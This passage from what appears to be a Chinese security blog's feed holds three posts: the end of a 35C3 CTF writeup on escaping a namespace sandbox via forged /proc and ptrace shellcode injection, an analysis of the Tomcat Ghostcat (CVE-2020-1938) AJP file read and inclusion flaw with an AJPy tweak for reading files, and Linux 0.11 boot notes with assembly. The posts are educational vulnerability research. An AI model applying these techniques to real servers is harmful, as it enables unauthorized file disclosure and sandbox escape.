namespaces</code>将位于<code>/proc/子进程/ns</code>下,而<code>run_elf</code>进程只会去加入父进程(也就是原来的<code>start_sandbox</code>进程)的<code>namespaces</code></p><p>因此,我们还需要获取<code>mount</code>的能力从而修改<code>/proc</code>,在<a href="https://man7.org/linux/man-pages/man7/user_namespaces.7.html" target="_blank" rel="noopener">user namespaces文档</a>中关于<code>mount</code>有这样的表述:</p><blockquote><p>Holding CAP_SYS_ADMIN within the user namespace that owns a process’s mount namespace allows that process to create bind mounts and mount the following types of filesystems:<br></p><ul><li>/proc (since Linux 3.8)</li><li>/sys (since Linux 3.8)</li><li>devpts (since Linux 3.9)</li><li>tmpfs(5) (since Linux 3.9)</li><li>ramfs (since Linux 3.9)</li><li>mqueue (since Linux 3.9)</li><li>bpf (since Linux 4.4)</li><li>overlayfs (since Linux 5.11)</li></ul></blockquote><p>因此我们需要同时新建<code>mnt namespaces</code> <code>user namespaces</code>和<code>pid namespaces</code>。并在子进程中将原先的<code>/proc</code>保存到别的地方,重新挂载一个空的<code>/proc</code>,并在原先父进程<code>pid namespaces</code>的位置放置一个符号链接指向原先子进程的<code>pid namespaces</code>。因为子进程和父进程同处一个<code>user namespaces</code>,子进程的<code>mount</code>操作将自动传播到父进程中,也就是父进程的<code>/proc</code>将和子进程一样。</p><p>在<code>run_elf</code>进程加入到<code>start_sandbox</code>进程的<code>mnt namespaces</code>后,它将看到我们伪造后的<code>/proc</code>,从而加入到子进程的<code>pid namespaces</code>中去,此时子进程就可以用<code>ptrace</code>注入shellcode读取<code>/flag</code></p><p>为了增加最后一步成功的概率,我们还可以在伪造的<code>/proc</code>中将<code>uts namespaces</code>变为一个<code>fifo</code>管道,从而使<code>run_elf</code>进程在这里卡住,使得cpu去执行<code>start_sandbox</code>子进程的<code>ptrace</code>。但这一步并不是必须的,没有一样有概率可以<code>ptrace</code>成功</p><p>完整的exp见 <a href="https://github.com/LevitatingLion/ctf-writeups/tree/master/35c3ctf/pwn_namespaces" target="_blank" rel="noopener">https://github.com/LevitatingLion/ctf-writeups/tree/master/35c3ctf/pwn_namespaces</a> ,社畜根本没空自己写</p><p>还有一个值得一提的是,我之前一直以为<code>ptrace</code>需要被<code>ptrace</code>的进程执行<code>ptrace(PTRACE_TRACEME, 0, 0, 0);</code>才能<code>ptrace</code>成功,但试验后会发现并非如此(不然<code>strace</code>怎么追踪进程。。),可man文档里对<code>PTRACE_TRACEME</code>作用的描述又很模糊不清,最后在 <a href="https://sites.uclouvain.be/SystInfo/manpages/man2/ptrace.2.html" target="_blank" rel="noopener">https://sites.uclouvain.be/SystInfo/manpages/man2/ptrace.2.html</a> 才找到更详细的描述:</p><blockquote><p>Indicates that this process is to be traced by its parent. Any signal (except SIGKILL) delivered to this process will cause it to stop and its parent to be notified via wait(2). Also, all subsequent calls to execve(2) by this process will cause a SIGTRAP to be sent to it, giving the parent a chance to gain control before the new program begins execution. A process probably shouldn’t make this request if its parent isn’t expecting to trace it. (pid, addr, and data are ignored.)</p></blockquote><p>不知道为啥现在的文档把<code>Any signal (except SIGKILL) delivered to this process will cause it to stop and its parent to be notified via wait(2). Also, all subsequent calls to execve(2) by this process will cause a SIGTRAP to be sent to it, giving the parent a chance to gain control before the new program begins execution.</code>这句话去掉了…</p>]]></content>
<summary type="html">
<p>2021过的很魔幻,所以就没再写过博客,可惜2022更魔幻</p>
<h1 id="逆向"><a href="#逆向" class="headerlink" title="逆向"></a>逆向</h1><p>题目给出了Dockerfile,里面用nsjail启动了二进制文件
</summary>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
<category term="pwn" scheme="https://liotree.github.io/tags/pwn/"/>
<category term="虚拟化安全" scheme="https://liotree.github.io/tags/%E8%99%9A%E6%8B%9F%E5%8C%96%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>CVE-2020-1938 幽灵猫</title>
<link href="https://liotree.github.io/2021/01/06/CVE-2020-1938-%E5%B9%BD%E7%81%B5%E7%8C%AB/"/>
<id>https://liotree.github.io/2021/01/06/CVE-2020-1938-%E5%B9%BD%E7%81%B5%E7%8C%AB/</id>
<published>2021-01-06T14:24:50.000Z</published>
<updated>2023-07-09T14:50:31.765Z</updated>
<content type="html"><![CDATA[<p>三个月没写过博客了,上学期的学期压缩属实难顶</p><p>最近在某生产环境碰到了这个洞,因为通过这个洞能了解到到很多Tomcat的东西,所以炒炒冷饭水一篇当笔记用,主要参考了<a href="https://www.guildhab.top/?p=2406" target="_blank" rel="noopener">CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp 协议任意文件读取/JSP文件包含漏洞分析</a></p><h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>java的环境还是日常难搞…</p><p>主要流程可以参见<a href="https://blog.csdn.net/u013268035/article/details/81349341" target="_blank" rel="noopener">IDEA导入Tomcat源码</a></p><p>碰到的一个坑是我最开始使用了新的阿里云maven镜像<code>https://maven.aliyun.com/repository/public</code>,<code>pom.xml</code>中有很多包都找不到,换成旧的<code>http://maven.aliyun.com/nexus/content/groups/public/</code>就行了</p><p>另外maven有两个<code>settings.xml</code>,需要注意下优先级,见<a href="https://blog.csdn.net/weixin_42128568/article/details/107321272" target="_blank" rel="noopener">关于maven的两个setting.xml读取顺序解析</a></p><h1 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h1><p>使用<a href="https://github.com/hypn0s/AJPy" target="_blank" rel="noopener">AJPy</a>复现:</p><p><img src="/images/AJPy.JPG" alt=""></p><p>wireshark抓包:</p><p><img src="//AJPy_wireshark.JPG" alt=""></p><p>需要注意的是AJPy其实默认走的是文件包含的payload,只是看起来效果是一样的。文件读取需要将<code>tomcat.py</code>中的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hdrs, data = bf.perform_request(<span class="string">"/"</span> + args.webapp + <span class="string">"/xxxxx.jsp"</span>, attributes=attributes)</span><br></pre></td></tr></table></figure><p>改为</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hdrs, data = bf.perform_request(<span class="string">"/"</span> + args.webapp + <span class="string">"/xxxxx"</span>, attributes=attributes)</span><br></pre></td></tr></table></figure><p>抓包后变为:</p><p><img src="/images/AJPy_wireshark2.JPG" alt=""></p><p>可以看到AJP协议和HTTP协议非常类似,甚至连头写的都是<code>HTTP/1.1</code></p><p>从发送的报文中可以猜测是通过设置<code>Servlet</code>中的一些属性来达到文件读取和包含的效果的,接下来的核心问题就是:</p><ul><li><p>为什么Tomcat会根据报文的内容设置属性?</p></li><li><p>为什么设置这些属性可以达到文件读取和包含的效果?</p></li><li><p>为什么只能读取或包含web应用目录的文件</p></li></ul><h1 id="Tomcat架构"><a href="#Tomcat架构" class="headerlink" title="Tomcat架构"></a>Tomcat架构</h1><p><a href="https://blog.csdn.net/xlgen157387/article/details/79006434" target="_blank" rel="noopener">四张图带你了解Tomcat系统架构–让面试官颤抖的Tomcat回答系列!</a>这篇文章写的挺清楚了,自己简单总结一下</p><ul><li><p>Tomcat中最顶层的容器是<code>Server</code>,代表整个服务器,<code>Server</code>中可以包含多个<code>Service</code></p></li><li><p><code>Service</code>由<code>Connectors</code>和<code>Container</code>组成</p></li><li><p><code>Connectors</code>负责接受请求,封装好<code>Request</code>和<code>Response</code>交给<code>Container</code>处理</p><ul><li><p>一个<code>Service</code>可以配置多个<code>Connectors</code>,比如同时有<code>http</code>和<code>https</code></p></li><li><p><code>Connectors</code>由三个部分组成:</p><ul><li><p><code>Endpoint</code>:负责处理<code>socket</code>连接</p></li><li><p><code>Processor</code>:负责将<code>tcp</code>流解析为<code>http</code>,封装出<code>Request</code>和<code>Response</code>对象</p></li><li><p><code>Adapter</code>:将封装好的<code>Request</code>和<code>Response</code>交给<code>Container</code>处理</p></li></ul></li></ul></li><li><p><code>Container</code>封装和管理<code>Servlet</code>,具体处理<code>Request</code>和<code>Response</code></p><ul><li><p>一个<code>Service</code>只能有一个<code>Container</code></p></li><li><p><code>Container</code>中包含了四个层层包含的子容器:</p><ul><li><p><code>Engine</code>:只能有一个,将请求发给不同的<code>Host</code></p></li><li><p><code>Host</code>:代表一个虚拟主机,可以配置多个</p></li><li><p><code>Context</code>:代表一个应用,也就是<code>webapps</code>下的一个文件夹,一个<code>Host</code>可以配置多个<code>Context</code></p></li><li><p><code>Wrapper</code>:代表一个<code>Servlet</code>的封装</p></li></ul></li></ul></li></ul><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>详细的源码分析网上已经很多了,这里就简单记录下上面的三个问题</p><h2 id="为什么Tomcat会根据报文的内容设置属性?"><a href="#为什么Tomcat会根据报文的内容设置属性?" class="headerlink" title="为什么Tomcat会根据报文的内容设置属性?"></a>为什么Tomcat会根据报文的内容设置属性?</h2><p>AJP协议的<code>Processor</code>会调用<code>org.apache.coyote.ajp.AbstractAjpProcessor.prepareRequest()</code>方法来封装<code>request</code>对象,其中有这样的代码:</p><p><img src="/images/prepareRequest1.JPG" alt=""></p><p><img src="/images/prepareRequest2.JPG" alt=""></p><p><img src="/images/prepareRequest3.JPG" alt=""></p><p>可以看到AJP报文中的内容被设置到了<code>request</code>对象中去</p><p>为什么Tomcat会有这样一个功能?</p><p>AJP协议主要用于反向代理服务器和Tomcat之间的通信,因此可以想到这个功能的目的是让反向代理服务器能够设置Tomcat的一些属性</p><p>在修洞后的<code>webapps/docs/config/ajp.xml</code>中也验证了这个想法:</p><p><img src="/images/allowedRequestAttributesPattern.JPG" alt=""></p><p>实际上Tomcat修洞的方法也就是在<code>prepareRequest()</code>中对传入的属性设置了一个白名单</p><h2 id="为什么设置这些属性可以达到文件读取和包含的效果?"><a href="#为什么设置这些属性可以达到文件读取和包含的效果?" class="headerlink" title="为什么设置这些属性可以达到文件读取和包含的效果?"></a>为什么设置这些属性可以达到文件读取和包含的效果?</h2><p><code>prepareRequest()</code>中只是将这些属性保存在了<code>request</code>对象中,要解决这个问题还要继续跟下去</p><p>以文件读取为例,最终会执行到<code>org.apache.catalina.servlets.DefaultServlet.doGet()</code>方法中。这也很好理解,文件读取payload中访问了<code>/xxxxx</code>这样一个不存在的路径,所以会交给<code>DefaultServlet</code>进行处理。文件包含的话访问的是jsp文件,则会交给<code>JspServlet</code>处理</p><p><code>doGet()</code>方法又会调用<code>org.apache.catalina.servlets.DefaultServlet.serveResource()</code>方法尝试去返回一个静态资源</p><p><img src="/images/serveResource.JPG" alt=""></p><p><img src="/images/getRelativePath.JPG" alt=""></p><p><img src="/images/getRelativePath2.JPG" alt=""></p><p>显然问题出在<code>getRelativePath()</code>上,这个方法从<code>request</code>中取出了我们设置的属性并拼接到了<code>result</code>中去,之后tomcat会根据返回的<code>path</code>读取对应的文件</p><p>为什么<code>getRelativePath()</code>会这样做?</p><p>参考<a href="https://openhome.cc/Gossip/ServletJSP/DispatchRequest.html" target="_blank" rel="noopener">調派請求</a>,在<code>request</code>中设置<code>javax.servlet.include.path_info</code>等属性本来就是jsp文件包含时的常规操作</p><p><code>getRelativePath()</code>则对文件包含的情况进行了考虑,假如<code>request</code>中存在这些属性就根据这些属性构造<code>result</code></p><h2 id="为什么只能读取或包含web应用目录的文件?"><a href="#为什么只能读取或包含web应用目录的文件?" class="headerlink" title="为什么只能读取或包含web应用目录的文件?"></a>为什么只能读取或包含web应用目录的文件?</h2><p>继续跟下去可以发现在读文件的时候会对路径进行检查,以读取<code>../../test.txt</code>为例</p><p><img src="/images/file.JPG" alt=""></p><p><img src="/images/validate.JPG" alt=""></p>]]></content>
<summary type="html">
<p>三个月没写过博客了,上学期的学期压缩属实难顶</p>
<p>最近在某生产环境碰到了这个洞,因为通过这个洞能了解到到很多Tomcat的东西,所以炒炒冷饭水一篇当笔记用,主要参考了<a href="https://www.guildhab.top/?p=2406" target
</summary>
<category term="web安全" scheme="https://liotree.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="漏洞分析" scheme="https://liotree.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<category term="java" scheme="https://liotree.github.io/tags/java/"/>
</entry>
<entry>
<title>操作系统启动</title>
<link href="https://liotree.github.io/2020/10/07/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%90%AF%E5%8A%A8/"/>
<id>https://liotree.github.io/2020/10/07/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%90%AF%E5%8A%A8/</id>
<published>2020-10-07T04:23:42.000Z</published>
<updated>2020-10-24T11:27:40.000Z</updated>
<content type="html"><![CDATA[<ul><li><p><a href="https://www.icourse163.org/course/HIT-1002531008" target="_blank" rel="noopener">哈工大操作系统</a></p></li><li><p>《linux0.11完全注释》</p></li></ul><p>以x86上的linux0.11为例,简单记录下</p><h1 id="linux0-11组成"><a href="#linux0-11组成" class="headerlink" title="linux0.11组成"></a>linux0.11组成</h1><p>linux0.11在磁盘上的分布情况如图:</p><p><img src="/images/linux0.11%E7%A3%81%E7%9B%98.JPG" alt=""></p><h1 id="打开电源"><a href="#打开电源" class="headerlink" title="打开电源"></a>打开电源</h1><ul><li><p>此时CPU仍处于实模式,所以依旧使用16位下的<code>CS:IP</code>方式寻址</p></li><li><p>开机后<code>CS:IP</code>会被设为<code>0xFFFF:0x0000</code>,也就是执行<code>0xFFFF0</code>处的指令。该区域存放的是ROM BIOS的映射区</p></li><li><p>ROM BIOS会检查硬件是否正常,然后将磁盘0磁道0扇区的内容(512字节)读入<code>0x7c00</code>。接着将<code>CS:IP</code>设为<code>0x07c0:0x0000</code>跳转过去执行</p><ul><li>为什么放到<code>0x7c00</code>?因为前面的内存需要存放一些其他的数据,比如中断向量表</li></ul></li></ul><h1 id="boot-bootsect-s"><a href="#boot-bootsect-s" class="headerlink" title="boot/bootsect.s"></a>boot/bootsect.s</h1><ul><li><p>磁盘0磁道0扇区上的512字节是<code>boot/bootsect.s</code>编译后的机器码,负责磁盘的引导工作,类似于现在的<code>MBR</code>。它的主要工作其实就是把操作系统读到内存里</p></li><li><p><code>bootsect</code>做的第一件事是把自己移到<code>0x9000:0x0000</code>,然后跳转过去执行</p><ul><li>之所以要移过去是为了给后面的<code>system</code>模块腾位置</li></ul></li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">BOOTSEG = <span class="number">0x07c0</span>! original address of boot-sector</span><br><span class="line">INITSEG = <span class="number">0x9000</span>! we move boot here - <span class="keyword">out</span> of the way</span><br><span class="line">...</span><br><span class="line">entry _start</span><br><span class="line"><span class="symbol">_start:</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ax</span>,#BOOTSEG ! 当前bootsect所处段地址,也就是<span class="number">0x07c0</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ds</span>,<span class="built_in">ax</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ax</span>,#INITSEG ! 目标段地址<span class="number">0x9000</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">es</span>,<span class="built_in">ax</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">cx</span>,#<span class="number">256</span> ! 移动<span class="number">256</span>个字</span><br><span class="line"><span class="keyword">sub</span><span class="built_in">si</span>,<span class="built_in">si</span> ! 将源偏移地址和目标偏移地址清零</span><br><span class="line"><span class="keyword">sub</span><span class="built_in">di</span>,<span class="built_in">di</span></span><br><span class="line"><span class="keyword">rep</span></span><br><span class="line">movw ! 移动</span><br><span class="line">jmpigo,INITSEG ! 跳转到<span class="number">0x9000</span>:go执行,跳过前面移动自身的代码</span><br><span class="line"><span class="symbol">go:</span><span class="keyword">mov</span><span class="built_in">ax</span>,<span class="built_in">cs</span> ! 从这继续执行</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ds</span>,<span class="built_in">ax</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">es</span>,<span class="built_in">ax</span></span><br></pre></td></tr></table></figure><ul><li>接着<code>bootsect</code>会使用<code>int 0x13</code>将<code>setup</code>模块读入到<code>0x90200</code>中</li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">SETUPLEN = <span class="number">4</span>! nr of setup-sectors</span><br><span class="line">...</span><br><span class="line"><span class="symbol">go:</span><span class="keyword">mov</span><span class="built_in">ax</span>,<span class="built_in">cs</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ds</span>,<span class="built_in">ax</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">es</span>,<span class="built_in">ax</span> ! 把<span class="built_in">es</span>设为<span class="number">0x9000</span>,为读取setup做准备</span><br><span class="line">! put stack <span class="meta">at</span> <span class="number">0x9ff00</span>.</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ss</span>,<span class="built_in">ax</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">sp</span>,#<span class="number">0xFF00</span>! arbitrary value >><span class="number">512</span></span><br><span class="line"></span><br><span class="line">! load the setup-sectors directly after the bootblock.</span><br><span class="line">! Note that <span class="string">'es'</span> is already set <span class="meta">up</span>.</span><br><span class="line"></span><br><span class="line"><span class="symbol">load_setup:</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">dx</span>,#<span class="number">0x0000</span>! drive <span class="number">0</span>, head <span class="number">0</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">cx</span>,#<span class="number">0x0002</span>! sector <span class="number">2</span>, track <span class="number">0</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">bx</span>,#<span class="number">0x0200</span>! address = <span class="number">512</span>, <span class="keyword">in</span> INITSEG</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ax</span>,#<span class="number">0x0200</span>+SETUPLEN! service <span class="number">2</span>, nr of sectors</span><br><span class="line"><span class="keyword">int</span><span class="number">0x13</span>! read it</span><br><span class="line"><span class="keyword">jnc</span>ok_load_setup! ok - continue</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">dx</span>,#<span class="number">0x0000</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ax</span>,#<span class="number">0x0000</span>! reset the diskette</span><br><span class="line"><span class="keyword">int</span><span class="number">0x13</span> </span><br><span class="line">jload_setup</span><br></pre></td></tr></table></figure><ul><li>读入成功后获取磁盘参数</li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">ok_load_setup:</span></span><br><span class="line"></span><br><span class="line">! Get disk drive parameters, specifically nr of sectors/track</span><br><span class="line"></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">dl</span>,#<span class="number">0x00</span></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ax</span>,#<span class="number">0x0800</span>! <span class="number">AH</span>=<span class="number">8</span> is get drive parameters</span><br><span class="line"><span class="keyword">int</span><span class="number">0x13</span></span><br><span class="line"><span class="keyword">mov</span><span class="number">ch</span>,#<span class="number">0x00</span></span><br><span class="line"><span class="built_in">seg</span> <span class="built_in">cs</span></span><br><span class="line"><span class="keyword">mov</span>sectors,<span class="built_in">cx</span> ! 把获取到的信息保存到sectors处</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ax</span>,#INITSEG</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">es</span>,<span class="built_in">ax</span> ! 将<span class="built_in">es</span>恢复</span><br><span class="line">...</span><br><span class="line"><span class="symbol">sectors:</span> ! 存放磁盘信息</span><br><span class="line"><span class="meta">.word</span> <span class="number">0</span></span><br></pre></td></tr></table></figure><ul><li>显示<code>Loading system ...</code></li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">! Print some inane message</span><br><span class="line"></span><br><span class="line"><span class="keyword">mov</span><span class="number">ah</span>,#<span class="number">0x03</span>! read cursor pos</span><br><span class="line"><span class="keyword">xor</span><span class="number">bh</span>,<span class="number">bh</span></span><br><span class="line"><span class="keyword">int</span><span class="number">0x10</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">mov</span><span class="built_in">cx</span>,#<span class="number">24</span> ! msg1的长度,共<span class="number">24</span>个字节</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">bx</span>,#<span class="number">0x0007</span>! page <span class="number">0</span>, attribute <span class="number">7</span> (normal)</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">bp</span>,#msg1</span><br><span class="line"><span class="keyword">mov</span><span class="built_in">ax</span>,#<span class="number">0x1301</span>! write string, move cursor</span><br><span class="line"><span class="keyword">int</span><span class="number">0x10</span> ! 显示msg1</span><br><span class="line">...</span><br><span class="line"><span class="symbol">msg1:</span></span><br><span class="line"><span class="meta">.byte</span> <span class="number">13</span>,<span class="number">10</span> ! \r\n</span><br><span class="line"><span class="meta">.ascii</span> <span class="string">"Loading system ..."</span></span><br><span class="line"><span class="meta">.byte</span> <span class="number">13</span>,<span class="number">10</span>,<span class="number">13</span>,<span class="number">10</span></span><br></pre></td></tr></table></figure><ul><li><p>载入<code>system</code>模块,放置到<code>0x10000</code></p><ul><li>后面的<code>setup</code>模块又会把<code>system</code>放到<code>0x00000</code>去,之所以这么麻烦还是因为<code>0x00000-0x10000</code>存放了中断向量表等信息,后面<code>setup</code>依然需要用到它们</li></ul></li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">SYSSIZE = <span class="number">0x3000</span></span><br><span class="line">...</span><br><span class="line">SYSSEG = <span class="number">0x1000</span>! system loaded <span class="meta">at</span> <span class="number">0x10000</span> (<span class="number">65536</span>).</span><br><span class="line">ENDSEG = SYSSEG + SYSSIZE! where to stop loading</span><br><span class="line">...</span><br><span class="line">! ok, we<span class="string">'ve written the message, now</span></span><br><span class="line"><span class="string">! we want to load the system (at 0x10000)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">movax,#SYSSEG</span></span><br><span class="line"><span class="string">moves,ax! segment of 0x010000</span></span><br><span class="line"><span class="string">callread_it ! 读入system模块,es为参数</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="string">read_it:</span></span><br><span class="line"><span class="string">mov ax,es</span></span><br><span class="line"><span class="string">test ax,#0x0fff</span></span><br><span class="line"><span class="string">die:jne die! es must be at 64kB boundary</span></span><br><span class="line"><span class="string">xor bx,bx! bx is starting address within segment</span></span><br><span class="line"><span class="string">rp_read:</span></span><br><span class="line"><span class="string">mov ax,es</span></span><br><span class="line"><span class="string">cmp ax,#ENDSEG! have we loaded all yet?</span></span><br><span class="line"><span class="string">jb ok1_read</span></span><br><span class="line"><span class="string">ret</span></span><br><span class="line"><span class="string">ok1_read:! 这里计算要读的磁道数</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="string">ok2_read:</span></span><br><span class="line"><span class="string">call read_track ! 真正的读磁道在这里</span></span><br></pre></td></tr></table></figure><ul><li><code>bootsect</code>结束,跳转到<code>0x90200</code>上的<code>setup</code>模块</li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">! after that (everyting loaded), we jump to</span><br><span class="line">! the setup-routine loaded directly after</span><br><span class="line">! the bootblock:</span><br><span class="line"></span><br><span class="line">jmpi<span class="number">0</span>,SETUPSEG</span><br></pre></td></tr></table></figure><ul><li>代码最后还有一个<code>.org</code>指令,用于填充字节,保证<code>bootsect</code>一定是512字节</li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">.org</span> <span class="number">508</span></span><br><span class="line"><span class="symbol">root_dev:</span></span><br><span class="line"><span class="meta">.word</span> ROOT_DEV</span><br><span class="line"><span class="symbol">boot_flag:</span></span><br><span class="line"><span class="meta">.word</span> <span class="number">0xAA55</span></span><br></pre></td></tr></table></figure><h1 id="boot-setup-s"><a href="#boot-setup-s" class="headerlink" title="boot/setup.s"></a>boot/setup.s</h1><ul><li><p><code>setup</code>模块顾名思义,负责OS启动前的设置</p></li><li><p><code>setup</code>第一步获取一些硬件的参数并做一些检查,并将获取的参数保存到内存中,提供给操作系统使用</p></li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">! Get memory size (extended mem, kB)</span><br><span class="line"></span><br><span class="line"><span class="keyword">mov</span><span class="number">ah</span>,#<span class="number">0x88</span></span><br><span class="line"><span class="keyword">int</span><span class="number">0x15</span></span><br><span class="line"><span class="keyword">mov</span>[<span class="number">2</span>],<span class="built_in">ax</span></span><br><span class="line"></span><br><span class="line">! Get video-card data:</span><br><span class="line">...</span><br><span class="line">! check for EGA/VGA <span class="keyword">and</span> some config parameters</span><br><span class="line">...</span><br><span class="line">! Get hd0 data</span><br><span class="line">...</span><br><span class="line">! Get hd1 data</span><br><span class="line">...</span><br></pre></td></tr></table></figure><ul><li><p>接着<code>setup</code>将<code>system</code>模块从<code>0x10000</code>移到<code>0x00000</code></p><ul><li>中断向量表咋办?后面要进入保护模式了,可以向它说再见了…</li></ul></li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">! first we move the system to it<span class="string">'s rightful place</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">movax,#0x0000</span></span><br><span class="line"><span class="string">cld! '</span>direction<span class="string">'=0, movs moves forward</span></span><br><span class="line"><span class="string">do_move:</span></span><br><span class="line"><span class="string">moves,ax! destination segment</span></span><br><span class="line"><span class="string">addax,#0x1000</span></span><br><span class="line"><span class="string">cmpax,#0x9000</span></span><br><span class="line"><span class="string">jzend_move</span></span><br><span class="line"><span class="string">movds,ax! source segment</span></span><br><span class="line"><span class="string">subdi,di</span></span><br><span class="line"><span class="string">subsi,si</span></span><br><span class="line"><span class="string">mov cx,#0x8000</span></span><br><span class="line"><span class="string">rep</span></span><br><span class="line"><span class="string">movsw</span></span><br><span class="line"><span class="string">jmpdo_move</span></span><br></pre></td></tr></table></figure><ul><li><p>设置中断描述符表<code>idt</code>和全局描述符表<code>gdt</code></p><ul><li><code>gdt</code>下面会用到,<code>idt</code>以后再说</li></ul></li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span 